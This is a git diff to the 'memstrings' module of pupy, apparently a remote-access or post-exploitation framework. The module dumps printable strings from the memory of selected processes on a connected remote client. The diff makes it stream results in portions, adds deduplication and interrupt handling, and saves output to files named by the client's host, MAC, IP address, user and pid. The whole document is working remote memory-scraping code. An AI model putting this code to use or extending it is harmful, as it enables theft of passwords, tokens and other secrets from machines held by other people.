diff --git a/pupy/modules/memstrings.py b/pupy/modules/memstrings.py index db2582ec..feb6aba3 100644 --- a/pupy/modules/memstrings.py +++ b/pupy/modules/memstrings.py @@ -12,6 +12,8 @@ class MemStrings(PupyModule): """ dependencies=['memorpy', 'memstrings'] + termevent = None + def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='memstrings', description=self.__doc__) action = self.arg_parser.add_mutually_exclusive_group(required=True) @@ -19,7 +21,7 @@ class MemStrings(PupyModule): help='Include processes with specified pids') action.add_argument('-n', '--name', nargs='*', default=[], help='Include processes with specified names') - self.arg_parser.add_argument('-o', '--omit', type=str, default='isrx', + self.arg_parser.add_argument('-x', '--omit', type=str, default='isrx', help='Avoid scanning: ' 'i - ranges with file mapping; ' 's - ranges with shared region; ' @@ -29,9 +31,12 @@ class MemStrings(PupyModule): help='Show only strings which are longer then specified length') self.arg_parser.add_argument('-m', '--max-length', type=int, default=51, help='Show only strings which are shorter then specified length') - + self.arg_parser.add_argument('-P', '--portions', type=int, default=8192, + help='Strings portion block') + self.arg_parser.add_argument('-d', '--no-duplication', default=False, action='store_true', + help='Enable strings deduplication (will increase memory usage)') self.arg_parser.add_argument( - '-log', + '-o', '--output', help='Save output to file. Omit output to stdout. You can use vars: ' '%%h - host, %%m - mac, %%P - platform, %%u - user, %%a - ip address' '%%p - pid, %%n - name' @@ -39,62 +44,70 @@ class MemStrings(PupyModule): def run(self, args): targets = args.pid + args.name - dump = self.client.conn.modules.memstrings.find_strings( - targets, - min_length=args.min_length, - max_length=args.max_length, - omit=args.omit - ) - dump = obtain(dump) - if not dump: - self.error('No dumps received') - return - self.success('Get {} dumps'.format(len(dump))) + self.termevent = self.client.conn.modules.threading.Event() - log = None + logs = {} - for pid, items in dump.iteritems(): - name = items.get('name') - strings = items.get('strings') + for pid, name, strings in self.client.conn.modules.memstrings.iterate_strings( + targets, + min_length=args.min_length, + max_length=args.max_length, + omit=args.omit, + portions=args.portions, + terminate=self.termevent, + nodup=args.no_duplication, + ): - if args.log: - log = args.log.replace( - '%m', self.client.desc['macaddr'] - ).replace( - '%P', self.client.desc['platform'] - ).replace( - '%a', self.client.desc['address'] - ).replace( - '%h', self.client.desc['hostname'].replace( - '..', '__' + strings = obtain(strings) + pid = str(pid) or '0' + name = str(name) or '' + + if not strings: + self.error('No dumps received') + return + + if args.output: + if not pid in logs: + log = args.output.replace( + '%m', self.client.desc['macaddr'] ).replace( - '/', '_' + '%P', self.client.desc['platform'] + ).replace( + '%a', self.client.desc['address'] + ).replace( + '%h', self.client.desc['hostname'].replace( + '..', '__' + ).replace( + '/', '_' + ) + ).replace( + '%u', self.client.desc['user'].replace( + '..', '__' + ).replace( + '/', '_' + ) + ).replace( + '%p', str(pid), + ).replace( + '%n', name.replace( + '..', '__' + ).replace( + '/', '_' + ), ) - ).replace( - '%u', self.client.desc['user'].replace( - '..', '__' - ).replace( - '/', '_' - ) - ).replace( - '%p', pid, - ).replace( - '%n', name.replace( - '..', '__' - ).replace( - '/', '_' - ), - ) - dirname = os.path.dirname(log) - if not os.path.exists(dirname): - os.makedirs(dirname) + dirname = os.path.dirname(log) + if not os.path.exists(dirname): + os.makedirs(dirname) - self.success('Dump {}:{} to {}'.format(name, pid, log)) - with open(log, 'w') as log: - for s in strings: - log.write(s+'\n') + self.success('Dumping {}:{} -> {}'.format(name, pid, log)) + logs[pid] = open(log, 'a+') + + for s in strings: + logs[pid].write(s+'\n') + + logs[pid].flush() else: self.success('Strings {}:{}'.format(name, pid)) @@ -102,3 +115,10 @@ class MemStrings(PupyModule): self.stdout.write(s+'\n') self.stdout.write('\n') + + for log in logs.itervalues(): + log.close() + + def interrupt(self): + if self.termevent: + self.termevent.set() diff --git a/pupy/packages/all/memstrings.py b/pupy/packages/all/memstrings.py index 5732857e..0c3b19e9 100644 --- a/pupy/packages/all/memstrings.py +++ b/pupy/packages/all/memstrings.py @@ -11,9 +11,9 @@ def try_int(x): except: return x -def find_strings(targets, min_length=4, max_length=51, omit='isxr'): +def iterate_strings(targets, min_length=4, max_length=51, omit='isxr', portions=4096, nodup=True, terminate=None): if not targets: - return {} + return if type(targets) == (str, int): targets = [ targets ] @@ -24,26 +24,39 @@ def find_strings(targets, min_length=4, max_length=51, omit='isxr'): printable = re.compile('^[\x20-\x7e]{{{},{}}}$'.format(min_length, max_length)) for process in memorpy.Process.list(): + if terminate is not None and terminate.is_set(): + break + if not ( os.path.basename(process.get('name')) in targets or process.get('pid') in targets ): continue strings = [] - results[process.get('pid')] = { - 'name': process.get('name'), - 'strings': strings - } + pid = process.get('pid') + name = process.get('name') mw = memorpy.MemWorker(pid=process.get('pid')) duplicates = set() for _, (cstring,) in mw.mem_search('([^\x00]+)', ftype='groups', optimizations=omit): - if printable.match(cstring): - if not cstring in duplicates: - duplicates.add(cstring) - strings.append(cstring) + if terminate is not None and terminate.is_set(): + break - return results + if printable.match(cstring): + if nodup: + if cstring in duplicates: + continue + + duplicates.add(cstring) + + strings.append(cstring) + if len(strings) >= portions: + yield pid, name, strings + strings = [] + + if strings: + yield pid, name, strings + strings = [] if __name__=="__main__": import sys